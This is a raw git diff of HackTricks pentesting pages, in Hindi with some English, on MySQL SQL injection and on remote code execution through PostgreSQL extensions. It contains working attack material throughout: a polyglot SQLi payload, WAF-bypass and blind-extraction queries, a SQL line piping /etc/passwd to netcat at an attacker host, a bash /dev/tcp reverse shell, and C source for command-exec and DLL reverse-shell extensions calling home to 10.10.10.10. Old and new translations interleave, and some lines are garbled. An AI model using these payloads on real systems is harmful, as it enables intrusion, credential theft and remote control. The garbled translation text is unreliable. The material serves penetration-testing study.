<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) **स्पेन** में सबसे महत्वपूर्ण साइबर सुरक्षा घटना है और **यूरोप** में सबसे महत्वपूर्ण में से एक है। **तकनीकी ज्ञान को बढ़ावा देने** के मिशन के साथ, यह कांग्रेस प्रौद्योगिकी और साइबर सुरक्षा विशेषज्ञों के लिए एक उत्तेजक मिलन स्थल है हर विषय में
[**RootedCON**](https://www.rootedcon.com/) **स्पेन** में सबसे प्रासंगिक साइबरसुरक्षा कार्यक्रम है और **यूरोप** में सबसे महत्वपूर्ण में से एक है। **तकनीकी ज्ञान को बढ़ावा देने** के मिशन के साथ, यह कांग्रेस हर अनुशासन में प्रौद्योगिकी और साइबरसुरक्षा पेशेवरों के लिए एक उष्णकटिबंधीय बैठक बिंदु है
{% embed url="https://www.rootedcon.com/" %}
@ -26,9 +29,9 @@
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02
```
## दिलचस्प फंक्शन
## दिलचस्प फंक्शन
### कन्फर्म Mysql:
### Mysql की पुष्टि:
```
concat('a','b')
database()
@ -42,7 +45,7 @@ floor(2.9)
length(1)
count(1)
```
### उपयोगी फ़ंक्शन्स
### उपयोगी फ़ंक्शन
```sql
SELECT hex(database())
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
@ -58,15 +61,15 @@ SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()
```
## सभी इन्जेक्शन
## सभी इजेक्शन
```sql
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"
```
from [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/](https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/)
## फ्लो
## Flow
ध्यान रखें कि "आधुनिक" संस्करणों में **MySQL** में आप "_**information\_schema.tables**_" को "_**mysql.innodb\_table\_stats**_**"** के लिए प्रतिस्थापित कर सकते हैं (यह WAFs को छलने के लिए उपयोगी हो सकता है)।
याद रखें कि **MySQL** के "आधुनिक" संस्करणों में आप "_**information\_schema.tables**_" को "_**mysql.innodb\_table\_stats**_**"** के लिए प्रतिस्थापित कर सकते हैं (यह WAFs को बायपास करने के लिए उपयोगी हो सकता है)।
```sql
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
@ -78,7 +81,7 @@ SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
* `group_concat()`
* `Limit X,1`
### **ब्लाइंड एक के बाद एक**
### **ब्लाइंड एक-एक करके**
* `substr(version(),X,1)='r'` या `substring(version(),X,1)=0x70` या `ascii(substr(version(),X,1))=112`
* `mid(version(),X,1)='5'`
@ -91,9 +94,9 @@ SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
* `SELECT LEFT(version(),1...lenght(version()))='asd'...`
* `SELECT INSTR('foobarbar', 'fo...')=1`
## कॉलमों की संख्या का पता लगाना
## कॉलम की संख्या का पता लगाना
एक सरल ORDER का उपयोग
एक साधारण ORDER का उपयोग करके
```
order by 1
order by 2
@ -115,40 +118,40 @@ UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
```
## SSRF
**यहाँ सीखें कि** [**एक Mysql इंजेक्शन का दुरुपयोग करके SSRF प्राप्त करने के विभिन्न विकल्प**](mysql-ssrf.md)** हैं।**
**यहाँ विभिन्न विकल्पों के बारे में जानें** [**Mysql injection का दुरुपयोग करके SSRF प्राप्त करने के लिए**](mysql-ssrf.md)**.**
## WAF बायपास ट्रिक्स
### Information\_schema विकल्प
ध्यान रखें कि "आधुनिक" **MySQL** के संस्करणों में आप _**information\_schema.tables**_ को _**mysql.innodb\_table\_stats**_ या _**sys.x$schema\_flattened\_keys**_ या **sys.schema\_table\_statistics** के लिए प्रतिस्थापित कर सकते हैं।
याद रखें कि **MySQL** के "आधुनिक" संस्करणों में आप _**information\_schema.tables**_ को _**mysql.innodb\_table\_stats**_ या _**sys.x$schema\_flattened\_keys**_ या **sys.schema\_table\_statistics** के लिए प्रतिस्थापित कर सकते हैं।
### COMMAS के बिना MySQL इंजेक्शन
### MySQLinjection बिना COMMAS के
कोई कमा उपयोग किए बिना 2 कॉलम्स का चयन करें ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)):
कोई भी ा का उपयोग किए बिना 2 कॉलम चुनें ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)):
```
-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#
```
### कॉलम के नाम के बिना मानों को पुनः प्राप्त करना
### Retrieving values without the column name
यदि किसी समय आपको तालिका का नाम पता होता है लेकिन आपको तालिका के अंदर कॉलम का नाम नहीं पता है, तो आप कोशिश कर सकते हैं कि कितने कॉलम हैं उन्हें ढूंढने के लिए कुछ ऐसा निष्पादन करें:
यदि किसी समय आपको तालिका का नाम पता है लेकिन आपको तालिका के अंदर कॉलम के नाम नहीं पता हैं, तो आप यह पता लगाने की कोशिश कर सकते हैं कि कितने कॉलम हैं, कुछ इस तरह निष्पादित करके:
```bash
# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1); # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns
```
मान लीजिए कि 2 कॉलम हैं (पहला कॉलम आईडी है) और दूसरा फ्लैग है, आप फ्लैग की सामग्री को ब्रूटफोर्स करने के लिए प्रयास कर सकते हैं, एक वर्ण से दूसरे वर्ण की कोशिश करके:
मान लीजिए कि 2 कॉलम हैं (पहला कॉलम ID है) और दूसरा कॉलम फ्लैग है, आप फ्लैग की सामग्री को अक्षर दर अक्षर ब्रूटफोर्स करने की कोशिश कर सकते हैं:
```bash
# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);
```
अधिक जानकारी [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952)
More info in [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952)
### MySQL इतिहास
आप **sys.x$statement\_analysis** तालिका पढ़कर MySQL में अन्य क्रियाएँ देख सकते हैं
आप MySQL के अंदर अन्य निष्पादन देख सकते हैं: **sys.x$statement\_analysis**
### संस्करण वैकल्पिक**s**
### संस्करण विकल्प**s**
```
mysql> select @@innodb_version;
mysql> select @@version;
@ -156,7 +159,7 @@ mysql> select version();
```
## अन्य MYSQL इंजेक्शन गाइड
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)]
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
## संदर्भ
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
@ -164,18 +167,21 @@ mysql> select version();
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) स्पेन में सबसे महत्वपूर्ण साइबर सुरक्षा घटना है और यूरोप में सबसे महत्वपूर्ण में से एक है। **तकनीकी ज्ञान को बढ़ावा देने** के मिशन के साथ, यह कांग्रेस प्रौद्योगिकी और साइबर सुरक्षा विशेषज्ञों के लिए एक उबाऊ मिलन स्थल है।
[**RootedCON**](https://www.rootedcon.com/) **स्पेन** में सबसे प्रासंगिक साइबर सुरक्षा कार्यक्रम है और **यूरोप** में सबसे महत्वपूर्ण में से एक है। **तकनीकी ज्ञान को बढ़ावा देने के मिशन** के साथ, यह कांग्रेस हर अनुशासन में प्रौद्योगिकी और साइबर सुरक्षा पेशेवरों के लिए एक उष्णकटिबंधीय बैठक बिंदु है।
{% embed url="https://www.rootedcon.com/" %}
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks का समर्थन करें</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का एक्सेस** चाहिए? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जांच करें!
* खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* पाएं [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com)
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** पर फॉलो करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें, [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में PR जमा करके**
* [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जांच करें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}

View file

@ -1,30 +1,33 @@
# RCE with PostgreSQL Extensions
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जीरो से हीरो तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित देखना चाहते हैं**? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का एक्सेस चाहिए**? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) की जाँच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **[hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud)** में PRs सबमिट करके अपने हैकिंग ट्रिक्स साझा करें।
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## PostgreSQL Extensions
PostgreSQL को एक मुख्य सुविधा के रूप में एक्सटेंसिबिलिटी के साथ विकसित किया गया है, जिससे यह एक्सटेंशन को ऐसे तरीके से संगत ढंग से एकीकृत कर सकता है जैसे वे अंतर्निहित कार्यक्षमताओं थे। ये एक्सटेंशन, मुख्य रूप से सी में लिखी पुस्तकालयें, डेटाबेस को अतिरिक्त कार्यों, ऑपरेटर्स, या प्रकारों के साथ समृद्ध करती हैं।
PostgreSQL को विस्तारणीयता को एक मुख्य विशेषता के रूप में विकसित किया गया है, जिससे यह विस्तार को इस तरह से एकीकृत कर सकता है जैसे कि वे अंतर्निहित कार्यक्षमताएँ हों। ये विस्तार, मूल रूप से C में लिखी गई पुस्तकालयें, डेटाबेस को अतिरिक्त कार्यों, ऑपरेटरों या प्रकारों के साथ समृद्ध करते हैं।
8.1 संस्करण से आगे, एक विशेष आवश्यकता एक्सटेंशन पुस्तकालयों पर लगाई गई है: उन्हें एक विशेष हेडर के साथ कंपाइल किया जाना चाहिए। इसके बिना, PostgreSQL उन्हें नहीं चलाएगा, यह सुनिश्चित करता है कि केवल संगत और संभावित रूप से सुरक्षित एक्सटेंशन का उपयोग किया जाता है
संस्करण 8.1 से आगे, विस्तार पुस्तकालयों पर एक विशेष आवश्यकता लागू की गई है: उन्हें एक विशेष हेडर के साथ संकलित किया जाना चाहिए। इसके बिना, PostgreSQL उन्हें निष्पादित नहीं करेगा, यह सुनिश्चित करते हुए कि केवल संगत और संभावित रूप से सुरक्षित विस्तार का उपयोग किया जाए
इसके अलावा, ध्यान रखें कि **अगर आप नहीं जानते कि** [**PostgreSQL का दुरुपयोग करके विक्टिम को फ़ाइल अपलोड कैसे करें तो आपको इस पोस्ट को पढ़ना चाहिए।**](big-binary-files-upload-postgresql.md)
इसके अलावा, ध्यान रखें कि **यदि आप नहीं जानते कि** [**कैसे PostgreSQL का दुरुपयोग करके पीड़ित को फ़ाइलें अपलोड करें, तो आपको यह पोस्ट पढ़नी चाहिए।**](big-binary-files-upload-postgresql.md)
### लिनक्स में RCE
### RCE in Linux
**अधिक जानकारी के लिए देखें: [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)**
PostgreSQL 8.1 और पहले संस्करण से सिस्टम कमांड का निष्पादन एक प्रक्रिया है जिसे स्पष्ट रूप से दस्तावेजीकृत किया गया है और सीधा है। इसका उपयोग करना संभव है: [Metasploit मॉड्यूल](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).
PostgreSQL 8.1 और पूर्व के संस्करणों से सिस्टम कमांड का निष्पादन एक प्रक्रिया है जिसे स्पष्ट रूप से दस्तावेजीकृत किया गया है और यह सीधी है। इसका उपयोग करना संभव है: [Metasploit module](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).
```sql
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
@ -36,9 +39,9 @@ CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' L
```
<details>
<summary>बेस64 से बाइनरी फ़ाइल लिखें</summary>
<summary>Write binary file from base64</summary>
पोस्टग्रेस में फ़ाइल में बाइनरी लिखने के लिए आपको बेस64 का उपयोग करना पड़ सकता है, यह उस मामले के लिए सहायक होगा:
पोस्टग्रेस में एक बाइनरी को फ़ाइल में लिखने के लिए आपको base64 का उपयोग करने की आवश्यकता हो सकती है, यह इस मामले में सहायक होगा:
```sql
CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
$$
@ -78,36 +81,35 @@ $$ LANGUAGE 'plpgsql';
```
</details>
हालांकि, जब इसे अधिक वर्शन पर प्रयास किया गया **तो निम्न त्रुटि दिखाई गई**:
हालांकि, जब इसे उच्च संस्करणों पर आजमाया गया **तो निम्नलिखित त्रुटि दिखाई गई**:
```c
ERROR: incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic block
HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
```
यह त्रुटि [PostgreSQL दस्तावेज़ीकरण](https://www.postgresql.org/docs/current/static/xfunc-c.html) में स्पष्ट की गई है:
इस त्रुटि को [PostgreSQL दस्तावेज़](https://www.postgresql.org/docs/current/static/xfunc-c.html) में समझाया गया है:
> एक डायनामिक लोड किया गया ऑब्जेक्ट फ़ाइल को एक असंगत सर्वर में लोड न होने सुनिश्चित करने के लिए, PostgreSQL यह जांचता है कि फ़ाइल में उचित सामग्री के साथ एक "जादू ब्लॉक" है। यह सर्वर को स्पष्ट असंगतताओं का पता लगाने में मदद करता है, जैसे कोड जो PostgreSQL के एक विभिन्न मुख्य संस्करण के लिए कंपाइल किया गया है। PostgreSQL 8.2 के रूप में एक जादू ब्लॉक की आवश्यकता है। एक जादू ब्लॉक शामिल करने के लिए, इसे एक (और केवल एक) मॉड्यूल स्रोत फ़ाइल में लिखें, हेडर fmgr.h को शामिल करने के बाद:
> यह सुनिश्चित करने के लिए कि एक गतिशील रूप से लोड की गई ऑब्जेक्ट फ़ाइल एक असंगत सर्वर में लोड नहीं की गई है, PostgreSQL यह जांचता है कि फ़ाइल में उपयुक्त सामग्री के साथ एक "जादुई ब्लॉक" है। यह सर्वर को स्पष्ट असंगतियों का पता लगाने की अनुमति देता है, जैसे कि PostgreSQL के एक अलग प्रमुख संस्करण के लिए संकलित कोड। PostgreSQL 8.2 से एक जादुई ब्लॉक की आवश्यकता है। एक जादुई ब्लॉक शामिल करने के लिए, इसे एक (और केवल एक) मॉड्यूल स्रोत फ़ाइल में लिखें, header fmgr.h शामिल करने के बाद:
>
> `#ifdef PG_MODULE_MAGIC`\
> `PG_MODULE_MAGIC;`\
> `#endif`
PostgreSQL संस्करण 8.2 के बाद, हमलावर के लिए सिस्टम का शोषण करने की प्रक्रिया को अधिक चुनौतीपूर्ण बना दिया गया है। हमलावर को या तो पहले से ही सिस्टम पर मौजूद एक पुस्तकालय का उपयोग करना होगा या एक कस्टम पुस्तकालय अपलोड करना होगा। यह कस्टम पुस्तकालय PostgreSQL के संगत मुख्य संस्करण के खिलाफ कंपाइल किया जाना चाहिए और एक विशिष्ट "जादू ब्लॉक" शामिल करना चाहिए। यह उपाय PostgreSQL सिस्टम का शोषण करने की कठिनाई को काफी बढ़ा देता है, क्योंकि इसे सिस्टम की वास्तुकला और संस्करण संगतता की गहरी समझ की आवश्यकता होती है।
PostgreSQL संस्करण 8.2 के बाद, हमलावर के लिए सिस्टम का शोषण करना अधिक चुनौतीपूर्ण हो गया है। हमलावर को या तो सिस्टम पर पहले से मौजूद एक पुस्तकालय का उपयोग करना होगा या एक कस्टम पुस्तकालय अपलोड करना होगा। यह कस्टम पुस्तकालय संगत प्रमुख संस्करण के खिलाफ संकलित होना चाहिए और इसमें एक विशिष्ट "जादुई ब्लॉक" शामिल होना चाहिए। यह उपाय PostgreSQL सिस्टम का शोषण करने की कठिनाई को काफी बढ़ा देता है, क्योंकि यह सिस्टम की आर्किटेक्चर और संस्करण संगतता की गहरी समझ की आवश्यकता होती है।
#### पुस्तकालय को कंपाइल करें
#### पुस्तकालय संकलित करें
PsotgreSQL संस्करण प्राप्त करें:
```sql
SELECT version();
PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit
```
**संगतता के लिए, मुख्य संस्करणों को संरेखित करना आवश्यक है। इसलिए, 9.6.x श्रृंखला के किसी भी संस्करण के साथ एक पुस्तकालय को कंपाइल करना सफल सम्मिलन सुनिश्चित करना चाहिए।
संगतता के लिए, यह आवश्यक है कि प्रमुख संस्करण मेल खाते हों। इसलिए, 9.6.x श्रृंखला के भीतर किसी भी संस्करण के साथ एक पुस्तकालय को संकलित करना सफल एकीकरण सुनिश्चित करना चाहिए।
उस संस्करण को अपने सिस्टम में स्थापित करने के लिए:**
अपने सिस्टम में उस संस्करण को स्थापित करने के लिए:
```bash
apt install postgresql postgresql-server-dev-9.6
```
और पुस्तकालय को कंपाइल करें:
और पुस्तकालय को संकलित करें:
```c
//gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c
#include <string.h>
@ -124,19 +126,19 @@ char* command = PG_GETARG_CSTRING(0);
PG_RETURN_INT32(system(command));
}
```
फिर कंपाइल की गई लाइब्रेरी अपलोड करें और निम्नलिखित कमांड्स को निष्पादित करें:
फिर संकलित पुस्तकालय को अपलोड करें और कमांड्स को निष्पादित करें:
```bash
CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE C STRICT;
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
#Notice the double single quotes are needed to scape the qoutes
```
आप इस **लाइब्रेरी को पूर्व-कंपाइल** कई विभिन्न PostgreSQL संस्करणों के लिए पा सकते हैं और यह **प्रक्रिया को स्वचालित** भी कर सकते हैं (अगर आपके पास PostgreSQL एक्सेस है) इसके साथ:
आप इस **पुस्तकालय को पूर्व-संकलित** विभिन्न PostgreSQL संस्करणों के लिए पा सकते हैं और यहां तक कि आप **इस प्रक्रिया को स्वचालित** कर सकते हैं (यदि आपके पास PostgreSQL पहुंच है) के साथ:
{% embed url="https://github.com/Dionach/pgexec" %}
### Windows में RCE
निम्नलिखित DLL इनपुट के रूप में **बाइनरी का नाम** और **बार** की **संख्या** लेती है और इसे निष्पादित करती है:
निम्नलिखित DLL **बाइनरी का नाम** और **संख्या** को इनपुट के रूप में लेता है कि आप इसे **कितनी बार** निष्पादित करना चाहते हैं और इसे निष्पादित करता है:
```c
#include "postgres.h"
#include <string.h>
@ -173,17 +175,17 @@ ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1);
PG_RETURN_VOID();
}
```
आप इस ज़िप में कंपाइल किए गए DLL फ़ाइल यहाँ पा सकते हैं:
आप इस ज़िप में संकलित DLL पा सकते हैं:
{% file src="../../../.gitbook/assets/pgsql_exec.zip" %}
आप इस DLL को **किस बाइनरी को चलाने** के लिए और इसे कितनी बार चलाने के लिए इंडिकेट कर सकते हैं, इस उदाहरण में यह `calc.exe` को 2 बार चलाएगा:
आप इस DLL को **कौन सा बाइनरी निष्पादित करना है** और इसे कितनी बार निष्पादित करना है, यह बता सकते हैं, इस उदाहरण में यह `calc.exe` को 2 बार निष्पादित करेगा:
```bash
CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
SELECT remote_exec('calc.exe', 2);
DROP FUNCTION remote_exec(text, integer);
```
[**यहाँ**](https://zerosum0x0.blogspot.com/2016/06/windows-dll-to-shell-postgres-servers.html) आप इस reverse-shell पा सकते हैं:
In [**यहाँ** ](https://zerosum0x0.blogspot.com/2016/06/windows-dll-to-shell-postgres-servers.html)आपको यह रिवर्स-शेल मिलेगा:
```c
#define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10"
#define PG_REVSHELL_CALLHOME_PORT "4444"
@ -261,38 +263,38 @@ int32 arg = PG_GETARG_INT32(0);
PG_RETURN_INT32(arg + 1);
}
```
नोट करें कि इस मामले में **हानिकारक कोड DllMain फ़ंक्शन के अंदर है**। इसका मतलब है कि इस मामले में पोस्टग्रेसक्यूएल में लोड किए गए फ़ंक्शन को निष्पादित करने की आवश्यकता नहीं है, बस **DLL लोड करना** रिवर्स शेल **निष्पादित** करेगा:
ध्यान दें कि इस मामले में **दुष्ट कोड DllMain फ़ंक्शन के अंदर है**। इसका मतलब है कि इस मामले में पोस्टग्रेसक्यूएल में लोड किए गए फ़ंक्शन को निष्पादित करना आवश्यक नहीं है, बस **DLL को लोड करना** **रिवर्स शेल** को **निष्पादित** करेगा:
```c
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
```
[पॉलीयूडीएफ परियोजना](https://github.com/rop-la/PolyUDF) भी एक अच्छा आरंभिक बिंदु है जिसमें पूरा एमएस विजुअल स्टूडियो परियोजना और एक तैयार पुस्तकालय (सहित: _कमांड इवैल_, _एक्जेक्यू_ और _क्लीनअप_) मल्टीवर्शन समर्थन के साथ है।
The [PolyUDF project](https://github.com/rop-la/PolyUDF) एक अच्छा प्रारंभिक बिंदु है जिसमें पूरा MS Visual Studio प्रोजेक्ट और एक उपयोग के लिए तैयार लाइब्रेरी (जिसमें: _command eval_, _exec_ और _cleanup_) मल्टीवर्जन समर्थन के साथ है।
### नवीनतम प्रोस्टग्रेस संस्करण में आरसीई
### नवीनतम Prostgres संस्करणों में RCE
**पोस्टग्रेस** के **नवीनतम संस्करणों** में, प्रतिबंध लगाए गए हैं जहा`सुपरयूजर` को विशेष निर्देशित निर्देशिकाओं से बाहर से साझा पुस्तकालय फ़ाइलें **लोड** करने से **रोका** गया है, जैसे कि विंडोज पर `C:\Program Files\PostgreSQL\11\lib` या \*निक्स सिस्टम पर `/var/lib/postgresql/11/lib`। ये निर्देशिकाएँ या तो नेटवर्क सेवा या पोस्टग्रेस खातों द्वारा लिखने के प्रक्रियाओं से **सुरक्षित** हैं।
PostgreSQL के **नवीनतम संस्करणों** में, कुछ प्रतिबंध लगाए गए हैं जहा`superuser` को **विशिष्ट निर्देशिकाओं** के अलावा साझा लाइब्रेरी फ़ाइलें **लोड करने** से **रोक दिया गया** है, जैसे Windows पर `C:\Program Files\PostgreSQL\11\lib` या \*nix सिस्टम पर `/var/lib/postgresql/11/lib`। ये निर्देशिकाएँ NETWORK\_SERVICE या postgres खातों द्वारा लिखने के संचालन के खिलाफ **सुरक्षित** हैं।
इन प्रतिबंधों के बावजूद, एक प्रमाणित डेटाबेस `सुपरयूजर` को "बड़े ऑब्जेक्ट्स" का उपयोग करके फ़ाइल सिस्टम में **बाइनर फ़ाइलें लिखना** संभव है। यह क्षमता `C:\Program Files\PostgreSQL\11\data` निर्देशिका के अंदर लिखने के लिए फैलाई जाती है, जो तालिकाएँ अपडेट या बनाने जैसे डेटाबेस प्रक्रियाओं के लिए आवश्यक है।
इन प्रतिबंधों के बावजूद, एक प्रमाणित डेटाबेस `superuser` के लिए "large objects" का उपयोग करके फ़ाइल सिस्टम में **बाइनर फ़ाइलें लिखना** संभव है। यह क्षमता `C:\Program Files\PostgreSQL\11\data` निर्देशिका के भीतर लिखने तक फैली हुई है, जो तालिकाओं को अपडेट या बनाने जैसे डेटाबेस संचालन के लिए आवश्यक है।
`CREATE FUNCTION` कमांड से एक महत्वपूर्ण सुरक्षा दोष उत्पन्न होता है, जो डेटा निर्देशिका में भ्रमण की अनुमति देता है। इस परिणामस्वरूप, एक प्रमाणित हमलावर इस भ्रमण का शोध लगाकर डेटा निर्देशिका में एक साझा पुस्तकालय फ़ाइल लिख सकता है और फिर इसे **लोड** कर सकता है। यह उत्पादन परिचालन या तालिकाएँ अपडेट करने जैसे डेटाबेस प्रक्रियाओं पर मौजूदा कोड को निष्पादित करने के लिए हमलावर को सक्षम करता है।
